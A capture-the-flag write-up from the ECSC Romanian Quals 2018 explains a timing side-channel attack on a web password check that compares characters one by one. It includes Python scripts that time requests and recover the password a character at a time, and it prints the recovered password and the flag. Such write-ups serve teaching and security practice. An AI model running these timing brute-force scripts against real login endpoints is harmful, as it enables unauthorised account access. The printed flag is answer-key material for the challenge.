Side Skills
Author: trupplesContest: ECSC Romanian Quals 2018
This has to be one of my favourite challenge types. The name suggests that it’s a side channel attack so I looked at perhaps the only measurable side effect of a web challenge - the server response time. The idea is that if the server checks the password (the p parameter) character by character and immediately stops when it finds a mismatch we can detect how many correct characters are at the beginning of the provided password.
For example, if the correct password is MyPassword
and we send it Montenegro
it will first check if the first character is good, and it is, then it will
check the second and stop as there’s a mismatch. On the other hand, if we sent
MyPaddle
it will have to do 5 checks before finding out that the password
is incorrect. If the checks are slow enough (and they artificially are in this
challenge) this matching prefix length is measurable.
To begin we can try each possible length-1 password and time the server’s response:
import requests
import string
import time
possible_chars = string.ascii_lowercase + string.digits + string.ascii_uppercase
for c in possible_chars:
time_before = time.clock()
requests.get("https://side-skills.ctf.cybersecuritychallenge.ro/?p="+c)
time_after = time.clock()
response_time = time_after - time_before
print c, response_time
I think the results also depend on your ping to the server but I got around
0.13-0.15 for all characters EXCEPT for lowercase p
which had a considerably
different response time of 0.25. This is a good enough indication that the
first character of the password is p
.
Now we can do the same thing but instead of trying length-1 passwords we’ll try
length-2 passwords that start with p
:
import requests
import string
import time
possible_chars = string.ascii_lowercase + string.digits + string.ascii_uppercase
for c in possible_chars:
time_before = time.clock()
requests.get("https://side-skills.ctf.cybersecuritychallenge.ro/?p=p"+c)
time_after = time.clock()
response_time = time_after - time_before
print "p"+c, response_time
This time all server response times hovered around 0.22-0.25 except for the one
for a
which was 0.30. This means that the password starts with pa
.
We now have to go on and on with algorithm of finding out each of the password’s characters one by one. The following script automates this process:
import requests
import time
import string
import sys
known_prefix = ""
def response_time(c):
time_before = time.clock()
requests.get("https://side-skills.ctf.cybersecuritychallenge.ro/?p="+known_prefix+c)
time_after = time.clock()
print known_prefix+c, time_after-time_before
sys.stdout.flush() # Mingw doesn't flush on print
return time_after-time_before
def next_char():
# Go through each character and record its response time
times = [(c, response_time(c)) for c in string.ascii_lowercase + string.digits + string.ascii_uppercase]
# Sort by response time
times.sort(key=lambda pair: pair[1])
# Log sorted response times
print times
# Return slowest response time's character
return times[-1][0]
# Warm it up - without this the first request for '0' (or 'a') has a falsely greater time
response_time("WarmupWarmup")
while True:
print "->", known_prefix
known_prefix += next_char()
# Test to see if we also have the flag in the response
res = requests.get("https://side-skills.ctf.cybersecuritychallenge.ro/?p="+known_prefix).text
if "ECSC" in res:
print res
sys.exit(0)
After a while we get to the final password: passIsS0str0ng4
and sending it to
the server gets us back a congratulatory message and the flag:
Congratulations! You are a really good brute forcer. Here is the flag:ECSC{8D6794917D9306ED63269DBF4E636C7366B1F25FFC6782F93553D763295BF773}